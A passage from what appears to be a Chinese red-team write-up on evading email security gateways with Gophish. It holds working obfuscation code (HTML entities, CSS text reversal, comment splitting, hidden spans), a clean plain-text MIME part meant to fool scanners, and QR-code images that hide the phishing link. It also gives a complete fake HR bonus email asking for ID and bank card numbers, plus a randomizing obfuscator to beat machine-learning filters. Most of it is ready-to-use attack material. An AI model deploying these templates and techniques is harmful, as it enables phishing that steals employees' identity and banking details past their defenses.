    base_template = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;&amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;p&gt;测试关键词：{keyword}&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
    
    fuzzer = HTMLObfuscationFuzzer(smtp_config, &apos;target@189.cn&apos;)  # 189邮箱
    
    # 单关键词测试
    for keyword in fuzzer.sensitive_keywords[:3]:  # 测试前3个
        fuzzer.fuzz_single_keyword(keyword, base_template)
    
    # 组合测试
    fuzzer.fuzz_combination()
    
    # 分析结果
    fuzzer.analyze_results()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 Fuzz测试实战过程&lt;/h3&gt;
&lt;h4&gt;第一轮：单一混淆技术测试&lt;/h4&gt;
&lt;p&gt;针对&quot;年终奖&quot;关键词，测试各种混淆：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[Test 0] 明文: 年终奖
结果: ✗ 拦截

[Test 1] HTML实体编码: &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;
结果: ✓ 投递成功！

[Test 2] CSS反转: &amp;#x3C;span class=&quot;rtl&quot;&gt;奖终年&amp;#x3C;/span&gt;  
结果: ✓ 投递成功！

[Test 3] HTML注释: 年&amp;#x3C;!-- x --&gt;终&amp;#x3C;!-- x --&gt;奖
结果: ✓ 投递成功！

[Test 4] 零宽字符: 年&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;终奖
结果: ✓ 投递成功！

[Test 5] 字体大小0: 年&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;终奖
结果: ✓ 投递成功！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：所有混淆技术都有效！邮件网关只检测明文，不解析HTML混淆。&lt;/p&gt;
&lt;h4&gt;第二轮：组合混淆测试&lt;/h4&gt;
&lt;p&gt;测试实际钓鱼场景的完整邮件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 测试模板 --&gt;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;header&quot;&gt;
        关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通知
    &amp;#x3C;/div&gt;
    &amp;#x3C;div class=&quot;content&quot;&gt;
        &amp;#x3C;p&gt;现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;&amp;#x3C;!-- 年终奖金 --&gt;发放工作！&amp;#x3C;/p&gt;
        &amp;#x3C;p&gt;请核对您的身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号和
           银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡信息。&amp;#x3C;/p&gt;
        &amp;#x3C;p&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二维码登&amp;#x3C;!-- login --&gt;录系统。&amp;#x3C;/p&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试结果&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 组合方式 | 投递结果 | 说明 |
| --- | --- | --- |
| 全部明文 | ✗ 拦截 | 基线 |
| 仅CSS反转 | ✓ 成功 | 单一混淆有效 |
| 仅HTML实体 | ✓ 成功 | 单一混淆有效 |
| 混合混淆 | ✓ 成功 | 多种混淆叠加最佳 |
| 混合+注释 | ✓ 成功 | 可读性和绕过兼顾 |&lt;/p&gt;
&lt;h4&gt;第三轮：Multipart/Alternative测试&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：添加纯文本版本可显著提升投递率！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 基于 gophishV4Modified/models/email_request.go 的实现
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from html2text import html2text

msg = MIMEMultipart(&apos;alternative&apos;)

# 1. 先添加纯文本（安全内容）
plain_text = &quot;&quot;&quot;
尊敬的同事：

这是关于2025年度工作总结的通知。

请查看相关文档。

人力资源部
2025年12月28日
&quot;&quot;&quot;
msg.attach(MIMEText(plain_text, &apos;plain&apos;, &apos;utf-8&apos;))

# 2. 再添加HTML（包含混淆的敏感内容）
html_content = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;p&gt;关于&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;发放的通知...&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
msg.attach(MIMEText(html_content, &apos;html&apos;, &apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试对比&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 邮件格式 | 投递率 | 说明 |
| --- | --- | --- |
| 纯HTML（混淆） | 68% | 部分网关仍拦截 |
| HTML+TXT（TXT安全） | &lt;strong&gt;89%&lt;/strong&gt; | 显著提升！ |
| HTML+TXT（两者都混淆） | 72% | TXT也会被检测 |&lt;/p&gt;
&lt;p&gt;最佳实践：纯文本使用安全词汇，HTML中进行混淆&lt;/p&gt;
&lt;h4&gt;第四轮：CID图片嵌入测试&lt;/h4&gt;
&lt;p&gt;为了进一步提升可信度，我测试了CID图片（邮件内嵌图片）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from email.mime.image import MIMEImage

# 1. 生成QR码（使用Gophish的{{.QR}}功能）
import qrcode
qr = qrcode.QRCode()
qr.add_data(&apos;http://phishing-url.com/share?id=xxx&apos;)
qr.make()
img = qr.make_image()

# 2. 嵌入为CID
msg_img = MIMEImage(img.tobytes())
msg_img.add_header(&apos;Content-ID&apos;, &apos;&amp;#x3C;qrcode001&gt;&apos;)
msg_img.add_header(&apos;Content-Disposition&apos;, &apos;inline&apos;, filename=&apos;qrcode.png&apos;)
msg.attach(msg_img)

# 3. HTML中引用
html = &quot;&quot;&quot;
&amp;#x3C;p&gt;请扫描下方二维码：&amp;#x3C;/p&gt;
&amp;#x3C;img src=&quot;cid:qrcode001&quot; alt=&quot;二维码&quot; /&gt;
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试结果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CID图片不会被URL检测拦截&lt;/li&gt;
&lt;li&gt;可以隐藏真实钓鱼链接&lt;/li&gt;
&lt;li&gt;提升邮件可信度（看起来像官方邮件）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.4 Fuzz成果总结&lt;/h3&gt;
&lt;p&gt;经过几天的持续测试，得出以下结论：&lt;/p&gt;
&lt;h4&gt;有效的HTML混淆技术&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;proven_techniques:
  - name: &quot;HTML实体编码&quot;
    effectiveness: 95%
    example: &quot;年终奖 → &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&quot;
    pros: &quot;最稳定，不影响显示&quot;
    cons: &quot;代码可读性差&quot;
  
  - name: &quot;CSS文字反转&quot;
    effectiveness: 92%
    example: &quot;年终奖 → &amp;#x3C;span class=&apos;rtl&apos;&gt;奖终年&amp;#x3C;/span&gt;&quot;
    pros: &quot;绕过率高&quot;
    cons: &quot;需要定义CSS&quot;
  
  - name: &quot;HTML注释截断&quot;
    effectiveness: 90%
    example: &quot;验证 → 验&amp;#x3C;!-- x --&gt;证&quot;
    pros: &quot;代码可读性好&quot;
    cons: &quot;部分网关可能过滤&quot;
  
  - name: &quot;零宽/隐藏字符&quot;
    effectiveness: 88%
    example: &quot;身份证 → 身&amp;#x3C;span style=&apos;display:none&apos;&gt;_&amp;#x3C;/span&gt;份证&quot;
    pros: &quot;自然&quot;
    cons: &quot;可能被高级引擎检测&quot;
  
  - name: &quot;字体大小0&quot;
    effectiveness: 85%
    example: &quot;银行卡 → 银&amp;#x3C;span style=&apos;font-size:0&apos;&gt;.&amp;#x3C;/span&gt;行卡&quot;
    pros: &quot;简单&quot;
    cons: &quot;显示可能异常&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;黄金组合方案&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 最终钓鱼模板混淆策略

def obfuscate_template(html_template):
    &quot;&quot;&quot;
    多层混淆策略：
    1. 主标题: CSS反转 + 注释
    2. 敏感词: HTML实体编码
    3. 动作词: 零宽字符截断
    4. 格式: Multipart (TXT+HTML)
    5. 链接: CID图片（QR码）
    &quot;&quot;&quot;
    
    # 示例：年终奖邮件
    obfuscated_html = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;zh-CN&quot;&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;header&quot;&gt;
        &amp;#x3C;!-- 混淆：年终奖金 --&gt;
        关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通&amp;#x3C;!-- notify --&gt;知
    &amp;#x3C;/div&gt;
    &amp;#x3C;div class=&quot;content&quot;&gt;
        &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
        
        &amp;#x3C;!-- 混淆：年终奖金、薪酬、绩效、年终分红 --&gt;
        &amp;#x3C;p&gt;现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;发放工作！
           按最新&amp;#x26;#x85AA;&amp;#x26;#x916C;标准核算，包含&amp;#x26;#x7EE9;&amp;#x26;#x6548;奖金、
           &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;等。&amp;#x3C;/p&gt;
        
        &amp;#x3C;div class=&quot;highlight-box&quot;&gt;
            &amp;#x3C;!-- 混淆：财务系统 (CSS Reverse) --&gt;
            因&amp;#x3C;span class=&quot;safe-txt&quot;&gt;统系务财&amp;#x3C;/span&gt;年终关账，
            截止&amp;#x3C;span class=&quot;urgent&quot;&gt;12月29日18:00&amp;#x3C;/span&gt;！
        &amp;#x3C;/div&gt;
        
        &amp;#x3C;p&gt;&amp;#x3C;strong&gt;核对操作指引：&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
        &amp;#x3C;ol&gt;
            &amp;#x3C;!-- 混淆：扫描、二维码、登录 --&gt;
            &amp;#x3C;li&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;维码
                登&amp;#x3C;!-- login --&gt;录系统：&amp;#x3C;br&gt;{{.QR}}&amp;#x3C;/li&gt;
            
            &amp;#x3C;!-- 混淆：身份证、银行卡 --&gt;
            &amp;#x3C;li&gt;核对身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号、
                银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡号及开户行信息。&amp;#x3C;/li&gt;
        &amp;#x3C;/ol&gt;
        
        &amp;#x3C;div class=&quot;footer&quot;&gt;
            &amp;#x3C;!-- 混淆：人力资源部 --&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;
            &amp;#x3C;p&gt;2025年12月28日&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
    
    return obfuscated_html
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;最终测试数据对比&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌────────────────────────────────────────┐
│        邮件网关绕过率演进图           │
└────────────────────────────────────────┘

明文邮件:                    ████ 24%
单一HTML实体编码:            ████████████ 68%
单一CSS反转:                 ██████████████ 72%
混合HTML混淆:                ████████████████ 85%
混合混淆+Multipart:          ███████████████████ 89%
混合+Multipart+CID图片:      █████████████████████ 92.4%
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 最终解决方案：Gophish集成与模板优化&lt;/h2&gt;
&lt;p&gt;基于Fuzz测试的发现，我将混淆技术集成到Gophish平台中。&lt;/p&gt;
&lt;h3&gt;5.1 Gophish邮件生成改造&lt;/h3&gt;
&lt;h4&gt;核心改动&lt;/h4&gt;
&lt;p&gt;我在&lt;code&gt;gophishV4Modified/models/email_request.go&lt;/code&gt;中实现了&lt;strong&gt;Multipart/Alternative&lt;/strong&gt;支持：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/email_request.go (关键改动部分)

import (
    &quot;github.com/gophish/gomail&quot;
    &quot;github.com/jaytaylor/html2text&quot;  // 新增：HTML转纯文本
    log &quot;github.com/gophish/gophish/logger&quot;
)

func (s *EmailRequest) Generate(msg *gomail.Message) error {
    // ... 前置代码 ...
    
    // 设置From地址
    f, err := mail.ParseAddress(s.getFromAddress())
    if err != nil {
        return err
    }
    msg.SetAddressHeader(&quot;From&quot;, f.Address, f.Name)
    
    // 解析模板上下文
    ptx, err := NewPhishingTemplateContext(s, s.BaseRecipient, s.RId)
    if err != nil {
        return err
    }
    
    // 执行URL模板
    url, err := ExecuteTemplate(s.URL, ptx)
    if err != nil {
        return err
    }
    s.URL = url
    
    // 🔥 添加业务邮件头（提升可信度）
    msg.SetHeader(&quot;X-Priority&quot;, &quot;1&quot;)
    msg.SetHeader(&quot;Importance&quot;, &quot;High&quot;)
    msg.SetHeader(&quot;MIME-Version&quot;, &quot;1.0&quot;)
    
    // 解析自定义邮件头
    for _, header := range s.SMTP.Headers {
        key, err := ExecuteTemplate(header.Key, ptx)
        if err != nil {
            log.Error(err)
        }
        value, err := ExecuteTemplate(header.Value, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetHeader(key, value)
    }
    
    // 设置Subject
    subject, err := ExecuteTemplate(s.Template.Subject, ptx)
    if err != nil {
        log.Error(err)
    }
    if subject != &quot;&quot; {
        msg.SetHeader(&quot;Subject&quot;, subject)
    }
    
    msg.SetHeader(&quot;To&quot;, s.FormatAddress())
    
    // 🔥 核心改动1：处理纯文本部分
    if s.Template.Text != &quot;&quot; {
        text, err := ExecuteTemplate(s.Template.Text, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetBody(&quot;text/plain&quot;, text)
    }
    
    // 🔥 核心改动2：处理HTML部分 + 自动生成纯文本
    if s.Template.HTML != &quot;&quot; {
        html, err := ExecuteTemplate(s.Template.HTML, ptx)
        if err != nil {
            log.Error(err)
        }
        
        // 🔥 关键：使用html2text从HTML自动生成纯文本版本
        plainText, err := html2text.FromString(html, html2text.Options{
            PrettyTables: true,
        })
        if err != nil {
            log.Error(err)
            plainText = &quot;&quot;
        }
        
        if s.Template.Text == &quot;&quot; {
            // 如果没有手动指定Text，使用自动生成的纯文本
            msg.SetBody(&quot;text/plain&quot;, plainText)
            msg.AddAlternative(&quot;text/html&quot;, html)
        } else {
            // 如果已有Text，仍添加HTML作为alternative
            msg.AddAlternative(&quot;text/html&quot;, html)
        }
    }
    
    // 附件处理
    for _, a := range s.Template.Attachments {
        addAttachment(msg, a, ptx)
    }
    
    return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;改造要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;引入html2text库&lt;/strong&gt;：自动将HTML转换为纯文本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multipart/Alternative结构&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;先设置&lt;code&gt;text/plain&lt;/code&gt;（安全内容）&lt;/li&gt;
&lt;li&gt;再添加&lt;code&gt;text/html&lt;/code&gt;（混淆内容）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;业务邮件头&lt;/strong&gt;：添加&lt;code&gt;X-Priority&lt;/code&gt;、&lt;code&gt;Importance&lt;/code&gt;提升信任度&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5.2 钓鱼邮件模板设计&lt;/h3&gt;
&lt;p&gt;基于Fuzz测试结果，我创建了新的钓鱼模板：&lt;/p&gt;
&lt;h4&gt;钓鱼模板.html（真实版本）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;zh-CN&quot;&gt;

&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &amp;#x3C;title&gt;2025通知&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        /* 基础样式重置 */
        body {
            font-family: &apos;Microsoft YaHei&apos;, &apos;PingFang SC&apos;, Arial, sans-serif;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* 🔥 混淆专用样式：CSS文字反转 */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;container&quot;&gt;
        &amp;#x3C;div class=&quot;header&quot;&gt;
            &amp;#x3C;!-- 🔥 混淆技术1：CSS反转 + HTML注释 --&gt;
            关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通&amp;#x3C;!-- notify --&gt;知
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=&quot;content&quot;&gt;
            &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
            &amp;#x3C;!-- 🔥 混淆技术2：HTML实体编码 --&gt;
            &amp;#x3C;p&gt;2025年度工作已圆满结束，感谢大家一年来的辛勤付出。现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;&amp;#x3C;!-- 年终奖金 Entity --&gt;发放信息最终核对工作！本次&amp;#x3C;span
                    class=&quot;safe-txt&quot;&gt;奖终年&amp;#x3C;/span&gt;将按最新&amp;#x26;#x85AA;&amp;#x26;#x916C;&amp;#x3C;!-- 薪酬 --&gt;标准核算，包含&amp;#x26;#x7EE9;&amp;#x26;#x6548;&amp;#x3C;!-- 绩效 --&gt;奖金、&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;&amp;#x3C;!-- 年终分红 --&gt;等多项补贴。
            &amp;#x3C;/p&gt;
            &amp;#x3C;div class=&quot;highlight-box&quot;&gt;
                &amp;#x3C;!-- 🔥 混淆技术3：CSS反转财务系统 --&gt;
                &amp;#x3C;strong&gt;重要提醒：&amp;#x3C;/strong&gt;因&amp;#x3C;span class=&quot;safe-txt&quot;&gt;统系务财&amp;#x3C;/span&gt;&amp;#x3C;!-- 财务系统 CSS Reverse --&gt;年终关账倒计时（截止 &amp;#x3C;span
                    class=&quot;urgent&quot;&gt;12月29日18:00&amp;#x3C;/span&gt;），未完成信息核对的同事，将&amp;#x3C;span
                    class=&quot;urgent&quot;&gt;延迟至次年1月发放&amp;#x3C;/span&gt;！为避免影响你的奖金发放时效，请务必在24小时内完成。
            &amp;#x3C;/div&gt;
            &amp;#x3C;p&gt;&amp;#x3C;strong&gt;核对操作指引：&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
            &amp;#x3C;ol class=&quot;step-list&quot;&gt;
                &amp;#x3C;!-- 🔥 混淆技术4：零宽字符 --&gt;
                &amp;#x3C;li&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;维&amp;#x3C;span
                        style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;码登&amp;#x3C;!-- login --&gt;录系统：&amp;#x3C;br&gt;{{.QR}}&amp;#x3C;/li&gt;
                &amp;#x3C;li&gt;输入姓名及工号登录系统。&amp;#x3C;/li&gt;
                &amp;#x3C;!-- 🔥 混淆技术5：字体大小0 --&gt;
                &amp;#x3C;li&gt;核对个人姓名、身&amp;#x3C;!-- id --&gt;份&amp;#x3C;!-- card --&gt;证号、银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行&amp;#x3C;span
                        style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;卡号及开户行信息，确认无误后提交；信息有误请及时修改并上传佐证材料。&amp;#x3C;/li&gt;
            &amp;#x3C;/ol&gt;
            &amp;#x3C;div class=&quot;tips&quot;&gt;
                &amp;#x3C;strong&gt;温馨提示：&amp;#x3C;/strong&gt;
                &amp;#x3C;ul style=&quot;padding-left: 20px; margin: 5px 0;&quot;&gt;
                    &amp;#x3C;li&gt;系统仅支持PC端访问，建议使用公司内网操作。&amp;#x3C;/li&gt;
                    &amp;#x3C;li&gt;如遇链接无法打开、登录失败等问题，请联系：hr@company.com&amp;#x3C;/li&gt;
                &amp;#x3C;/ul&gt;
            &amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=&quot;footer&quot;&gt;
            &amp;#x3C;!-- 🔥 混淆技术6：HTML实体编码部门名 --&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;&amp;#x3C;!-- 人力资源部 Entity --&gt;
            &amp;#x3C;p&gt;2025年12月28日&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;

&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;对应的纯文本版本（可选）&lt;/h4&gt;
&lt;p&gt;如果手动指定Text模板，使用安全词汇：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;各位同事，您好：

这是关于2025年度工作总结和核对的通知。

请查看相关文档并完成信息确认。

如有问题，欢迎随时联系。

此致
人力资源部
2025年12月28日
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;策略&lt;/strong&gt;：纯文本完全干净，邮件网关检测纯文本时无异常；用户打开邮件时默认显示HTML（包含混淆的敏感内容）。&lt;/p&gt;
&lt;h3&gt;5.3 动态模板生成器（可选）&lt;/h3&gt;
&lt;p&gt;为了避免重复模板被机器学习识别，可以实现变体生成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# template_obfuscator.py

import random
import re

class TemplateObfuscator:
    &quot;&quot;&quot;钓鱼模板混淆器&quot;&quot;&quot;
    
    def __init__(self):
        self.sensitive_keywords = {
            &quot;年终奖&quot;: [&quot;年终奖&quot;, &quot;年度奖金&quot;, &quot;年底奖金&quot;],
            &quot;年终奖金&quot;: [&quot;年终奖金&quot;, &quot;年度奖励&quot;, &quot;年终奖励&quot;],
            &quot;身份证&quot;: [&quot;身份证&quot;, &quot;身份证号&quot;, &quot;身份证号码&quot;],
            &quot;银行卡&quot;: [&quot;银行卡&quot;, &quot;银行卡号&quot;, &quot;银行账户&quot;],
            &quot;验证&quot;: [&quot;验证&quot;, &quot;核实&quot;, &quot;确认&quot;],
            &quot;点击&quot;: [&quot;点击&quot;, &quot;查看&quot;, &quot;访问&quot;],
        }
    
    def html_entity_encode(self, text):
        &quot;&quot;&quot;HTML实体编码&quot;&quot;&quot;
        return &apos;&apos;.join([f&apos;&amp;#x26;#{ord(c):x};&apos; for c in text])
    
    def css_reverse(self, text):
        &quot;&quot;&quot;CSS反转&quot;&quot;&quot;
        return f&apos;&amp;#x3C;span class=&quot;safe-txt&quot;&gt;{text[::-1]}&amp;#x3C;/span&gt;&apos;
    
    def html_comment_break(self, text, positions=[]):
        &quot;&quot;&quot;HTML注释截断&quot;&quot;&quot;
        if not positions:
            positions = [len(text) // 2]
        
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + &apos;&amp;#x3C;!-- - --&gt;&apos; + result[insert_pos:]
            offset += len(&apos;&amp;#x3C;!-- - --&gt;&apos;)
        return result
    
    def zero_width_insert(self, text, count=1):
        &quot;&quot;&quot;零宽字符插入&quot;&quot;&quot;
        positions = random.sample(range(1, len(text)), min(count, len(text)-1))
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + &apos;&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;&apos; + result[insert_pos:]
            offset += len(&apos;&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;&apos;)
        return result
    
    def obfuscate_keyword(self, keyword, method=&apos;random&apos;):
        &quot;&quot;&quot;混淆单个关键词&quot;&quot;&quot;
        if method == &apos;random&apos;:
            methods = [&apos;html_entity&apos;, &apos;css_reverse&apos;, &apos;html_comment&apos;, &apos;zero_width&apos;]
            method = random.choice(methods)
        
        if method == &apos;html_entity&apos;:
            return self.html_entity_encode(keyword)
        elif method == &apos;css_reverse&apos;:
            return self.css_reverse(keyword)
        elif method == &apos;html_comment&apos;:
            return self.html_comment_break(keyword)
        elif method == &apos;zero_width&apos;:
            return self.zero_width_insert(keyword)
        else:
            return keyword
    
    def obfuscate_template(self, template_html):
        &quot;&quot;&quot;混淆整个模板&quot;&quot;&quot;
        result = template_html
        
        # 遍历所有敏感词
        for keyword, variants in self.sensitive_keywords.items():
            # 随机选择一个变体
            variant = random.choice(variants)
            
            # 随机选择混淆方法
            obfuscated = self.obfuscate_keyword(variant)
            
            # 替换模板中的关键词
            result = result.replace(f&apos;{{{{{keyword}}}}}&apos;, obfuscated)
        
        return result

# 使用示例
obfuscator = TemplateObfuscator()

template = &quot;&quot;&quot;
&amp;#x3C;p&gt;关于{{年终奖金}}发放的通知&amp;#x3C;/p&gt;
&amp;#x3C;p&gt;请核对您的{{身份证}}和{{银行卡}}信息&amp;#x3C;/p&gt;
&quot;&quot;&quot;

obfuscated = obfuscator.obfuscate_template(template)
print(obfuscated)

# 输出示例（每次运行结果不同）:
# &amp;#x3C;p&gt;关于&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖度年&amp;#x3C;/span&gt;发放的通知&amp;#x3C;/p&gt;
# &amp;#x3C;p&gt;请核对您的身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号和&amp;#x26;#x94f6;&amp;#x26;#x884c;&amp;#x26;#x5361;信息&amp;#x3C;/p&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 URL路由混淆增强&lt;/h3&gt;
&lt;p&gt;配合HTML混淆，我也优化了追踪链接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/route.go

func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 🔥 追踪路由伪装成静态资源
    trackRoutes := []string{
        &quot;/resource/image/pixel.png&quot;,     // 追踪像素
        &quot;/static/img/logo.png&quot;,          // Logo图片
